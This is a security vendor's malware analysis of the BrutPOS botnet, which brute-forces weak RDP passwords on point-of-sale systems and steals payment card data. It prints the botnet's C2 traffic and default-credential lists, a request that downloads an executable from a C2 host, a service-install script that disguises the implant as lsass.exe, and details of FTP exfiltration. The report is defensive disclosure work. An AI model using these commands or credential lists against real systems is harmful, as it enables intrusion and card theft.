There have been an increasing number of headlines about breaches at
retailers in which attackers have made off with credit card data after
compromising point-of-sale (POS) terminals. However, what is not
commonly discussed is the fact that one third of these breaches are a
result of weak default passwords in the remote administration software
that is typically installed on these systems. [1] While advanced
exploits generate a lot of interest, sometimes it’s defending the
simple attacks that can keep your company from the headlines.
In this report, we document a botnet that we call BrutPOS which uses
thousands of compromised computers to scan specified IP address ranges
for RDP servers that have weak or default passwords in an effort to
locate vulnerable POS systems. [2]
BrutPOS
It is unclear exactly how the BrutPOS malware is being propagated.
We have found that the malware is being distributed (along with a
considerable amount of otherwise unrelated malware) by the site
destre45[.]com. The attackers may have used a distribution service
provided by other cybercriminals.
When executed, the malware copies itself to:
"%USERPROFILE%\%APPDATA%\llasc.exe"
It modifies the Windows Registry
(HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Run_) so that it
will be restarted after a reboot.
The malware connects to the command and control server (C2) to
report its status and receives a list of usernames/passwords and IP
addresses to begin scanning.
POST /brut.loc/www/cmd.php HTTP/1.1
Content-type: multipart/form-data, boundary=XyEgoZ17
Cache-Control: no-cache
Accept: */*
Accept-Encoding: identity
Connection: Keep-Alive
Accept-Language: ru-RU,en,*
User-Agent: Browser
Host: 92.63.99.157
Content-Length: 212
--XyEgoZ17
content-disposition: form-data; name="data"
{ "bad" : 0, "bruting" : false,
"checked" : 1, "done" : true, "errors" :
0, "good" : 0, "goodslist" : "",
"pps" : 0.0, "threads" : 5, "v" :
"0.0.0" }
HTTP/1.1 200 OK
Date: Fri, 20 Jun 2014 13:22:53 GMT
Server: Apache/2.2.22 (@RELEASE@)
X-Powered-By: PHP/5.3.3
Set-Cookie: PHPSESSID=o68hcjj8lhkbprfbdkbj50lrr0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 2056
Connection: close
Content-Type: text/html; charset=UTF-8
{"passwords":"backupexec\r\nbackup\r\npassword\r\nPassword1\r\nPassw0rd\r\nPa$$w0rd1\r\nPass@word\r\nPassword\r\nclient\r\nP@ssw0rd\r\np@$$w0rd\r\npassw0rd\r\np@ssw0rd\r\npa$$w0rd","logins":"backupexec\r\nbackup\r\ndatacard","servers":"[IP
ADDRESSES REDACTED]","botstart":"1","stamp":1308301912,"newthreads":5,"interval":50}
The infected system begins to make connections to port 3389; if the
port is open it adds the IP to a list of servers to be brute forced
with the supplied credentials. If the infected system is able to
successfully brute force an RDP server, it reports back with credentials.
In total we found five C2 servers used by the BrutPOS botnet. Three
of these servers are located on the same network in Russia; one of
them is located in Iran. Only two of these servers remain active at
this time.
| C2 | scope="col">Country | scope="col">Network | scope="col">Status |
|---|---|---|---|
62.109.16.195 | |||
92.63.99.157 | |||
78.154.54.42 | |||
82.146.34.22 | |||
62.113.208.37 |
However, one of the active C2 servers was setup on May 28 and we
believe that the second was setup in early June. We were able to
recover information from these two C2 servers in mid-June that allowed
us to gain a better understanding of this botnet.
The attackers are able to control the botnet from a web-based
administration panel. This panel provides a statistical overview of
the botnet.
The botnet had a total of 5622 compromised computers under its
control, however, only a fraction of those systems are active at any
given time (179 were active when we last checked). This page also
displays the “current version” of the malware and if an infected
system checking in reports an earlier version a new executable will be
pushed down to it.
The attackers are able to view the details of the infected systems
under their control including the IP address and geographic location
as well as status of the infected systems’ brute forcing activities
(bad / good / errors / threads / version) and the timestamp of the
last connection to the C2. The attackers may also specify commands
such as “reload” and “delete”.
Based on the IP addresses on this page, there are 5622 infected
systems spread across 119 countries.
| Country | class="c09_td">Count | class="c09_td">Percentage |
|---|---|---|
Russia | ||
India | ||
Vietnam | ||
Iran | ||
Taiwan | ||
Ukraine | ||
Turkey | ||
Serbia | ||
Egypt | ||
Mexico |
This page lists the ranges of IP addresses that the attackers can
specify to be scanned for RDP access and brute forced.
In total, the attackers specified 57 IP address ranges the majority
of which (32) are located in the U.S.
The attackers can specify the user names and passwords that the
infected systems use to brute force available RDP servers. Some of the
usernames and password indicate that the attackers are looking for
specific brands of POS systems (such as Micros). [3]
| Usernames | class="c09_td">Passwords |
|---|---|
admin | |
administrator | |
backup | |
backupexec | |
data | |
datacard | |
manager | |
micros | |
microssvc | |
pos | |
When an infected system reports back a successful RDP login, the
attackers store the username/password and IP address of the RDP server
as well as the IP address of the infected system that successfully
brute forced it.
Of the 60 “good” RDP servers listed by the attackers the majority
(51) are located in the U.S. The most common username was
“administrator” (36) and the most common passwords were “pos” (12) and
“Password1” (12).
Payment Card Theft
During our investigation, we discovered another executable that is
potentially run on systems once credentials are obtained (e.g.
4aed6a5897e9030f09f13f3c51668e92). This variant is intended to extract
payment card information stored within running processes. It has two
distinct code paths depending on its ability to get debug permissions
by calling RtlAdjustPrivilage(0x14,1,0…). This may be an attempt to
identify a POS configuration. If it succeeds in getting debug
permissions, it downloads the executable and executes it:
GET /brut.loc/www/bin/1.exe HTTP/1.1
Accept-Encoding: gzip
Connection: Keep-Alive
Accept-Language: ru-RU,en,*
User-Agent: Browser
Host: 82.146.34.22
If the malware fails to get debug permissions, it copies itself to
%WINDIR%\lsass.exe and installs itself as a service. The following
script is used to create and start the service:
sc create winserv binpath= C:\WINDOWS\lsass.exe type= own start= auto
sc start winserv
del 1.bat
When running as a service, the program scans the memory of all
processes with the exception of csrss.exe and conhost.exe for
potential payment card information. Candidates are verified using the
Luhn checksum and saved to winsrv.sys. It uploads ‘winsrv.sys’ using
FTP to the server 62.109.16.195.
Before connecting to the FTP server, the implant connects to
smtp[.]gmail[.]com on port 25 and obtains the victim’s external IP
address from the EHLO response. winsrv.sys is uploaded to the FTP
serving using a filename consisting of a capital character followed by
the IP address. The capital character prefixed to the filename is
initialized to ‘A’ and is incremented through ‘Z’ for each new file.
If the IP address isn’t obtained from smtp[.]gmail[.]com, a random
four digit number is generated.
Attribution
While there is insufficient information to determine attribution,
there is some information which indicates that the attackers are in
Eastern Europe, probably Russia or Ukraine. In addition to the Russian
language interface, we recovered web server logs and parsed out the
six IP addresses that used the administration interface.
Two of the IP addresses were from PEOPLE-NET, an ISP in Ukraine. In
both cases the “User-Agent” indicates that the requests were coming
from an Alcatel mobile phone running Android:
"Mozilla/5.0 (Linux; Android 4.1.1; ALCATEL ONE TOUCH 5020D
Build/JRO03C) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/32.0.1700.72 Mobile Safari/537.36 OPR/19.0.1340.69721"
Another Ukraine IP address, from the UKRTELNET-ADSL ISP, was also
used. However, the “User-Agent” in this case was FireFox:
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0)
Gecko/20100101 Firefox/30.0"
There were also connections from an IP range in Russia assigned to
the network “Macroregional_South” in Volvograd.
In addition to these connections there were also connections from
the U.K. and France, however, these connections were made using VPN
services provided by atomintersoft.com and vpnlux.net.
Honeypot
In order to understand the attacker’s intentions, we decided to
setup a Windows 2008 R2 Server with POS software and allow the
attackers to compromise it. In addition to POS software, we also put
documents with fake credit card information on the Desktop. By
mimicking the traffic generated by the infected systems under the
attackers control, we were able send a username and password
combination of “micros” and “admin” to the C2. We then waited for the
attackers to connect.
We saw the attackers connect to the RDP instance 27 minutes after
the fake username and password combination were sent to the C2. The
attackers connected from three IP addresses. One of the IP addresses
was in the same Ukrainian IP address range assigned to PEOPLE-NET that
we saw in the C2 logs. Another was the same VPN based in the UK, while
the third was assigned to INETHN in Honduras.
After connecting, the attackers immediately opened the document
containing fake credit card information, then exited the system
shortly after. The second access attempt occurred 4 minutes later,
with little activity. The third access occurred 18 minutes later. The
attackers, on the third access, then attempted to open the POS
software; which was unsuccessful. The fourth access happened two
minutes later, with very little activity. The fifth and final access
happened approximately 4 hours later, which led the attackers to
format the drive, thus attempting to wipe data trails.
Conclusion
POS systems remain a high priority target for cybercriminals. Based
on a simple scanning attack, the attackers in this case were able
leverage their botnet of over 5000 machines in order to acquire access
to 60 systems in two weeks.
While new malware and more advanced attacks are taking place,
standard attacks against weak passwords for remote administration
tools presents a significant threat.
Notes
1. http://www2.trustwave.com/rs/trustwave/images/2014_Trustwave_Global_Security_Report.pdf
2. The BrutPOS malware was initially identified in March 2014 but
the full scope of the botnet was still unknown at that time.
http://www.alienvault.com/open-threat-exchange/blog/botnet-bruteforcing-point-of-sale-via-remote-desktop
and http://deepflash.blogspot.ca/2014/02/rdp-bruterforcer-in-wild.html
3. Micros sells POS systems for the retail and hospitality
industries http://www.micros.com/.
Acknowledgements
We would like to thank Josh Gomez for his help and support.
Samples
4c3d65c1d8e1d7a2815c0031be41efc7: BrutePOS_Brute
7391ff6f34f79df0ec7571f7afbf8f7a: BrutePOS_Brute
280d920531ba67d8fd81350877914985: BrutePOS_Brute
96487eb38687e84405f045f7ad8a115c: BrutePOS_Brute
c1fab4a0b7f4404baf8eab4d58b1f821: BrutePOS_Brute
6bcff459fbca8a64f1fd74be433e2450: BrutePOS_Brute
daae858fe34dcf263ef6230d887b111d: BrutePOS_Brute
31bd8dd48ac0de3d4da340bf29f4d280: BrutePOS_Brute
0f2266f63c06c0fee3ff999936c7c10a: BrutePOS_Brute
4d4fd96fabb1c525eaeeae8f2652ffa6: BrutePOS_Brute
da6d727ddf096b6654406487bf22d26c: BrutePOS_Brute
fd58144a4cd354bfd09719ac2ccd3511: BrutePOS_Brute
e38e42f20e027389a86d6a5816a6d8f8: BrutePOS_Brute
08863d484b1ebe6359144c9a8d8027c0: BrutePOS_Brute
4ab3a6394a3a1860a6c52cf92d7f7560: BrutePOS_Brute
0e58848506a525c755cb0dad397c1c44: BrutePOS_Brute
60c16d8596063f6ee0eae579f201ae04: BrutePOS_Brute
b2d4fb4977630e68107ee87299a714e6: BrutePOS_Brute
68ba1afd4585b9355cf7009f4604a208: BrutePOS_Brute
9d3d769d3feea92fd4794fc3c59e32df: BrutePOS_Brute
b63581fcf0ff86bb771c3c33205c78ca: BrutePOS_Brute
18eba6f28ab6c088d9fc22b4cc154a77: BrutePOS_Brute
4802539350908fd447a5c3ae3e966be0: BrutePOS_Brute
cbbb68f6d8eda1071078a02fd79ed3ec: BrutePOS_Brute
8ba3c7ccd0a61d5c9a8b94a71ce06328: BrutePOS_Brute
9b8de98badede7f837a34e318b12d842: BrutePOS_Brute
78f4a157db42321e8f61294bb39d7a74: BrutePOS_FTP_Exfil
f36889f30b62a7524bafc766ed78b329: BrutePOS_FTP_Exfil
95b13cd79621931288bd8a8614c8483f: BrutePOS_FTP_Exfil
4aed6a5897e9030f09f13f3c51668e92: BrutePOS_FTP_Exfil
06d8d8e18b91f301ac3fe6fa45ab7b53: BrutePOS_FTP_Exfil
faddbf92ab35e7c3194af4e7a689897c: BrutePOS_FTP_Exfil
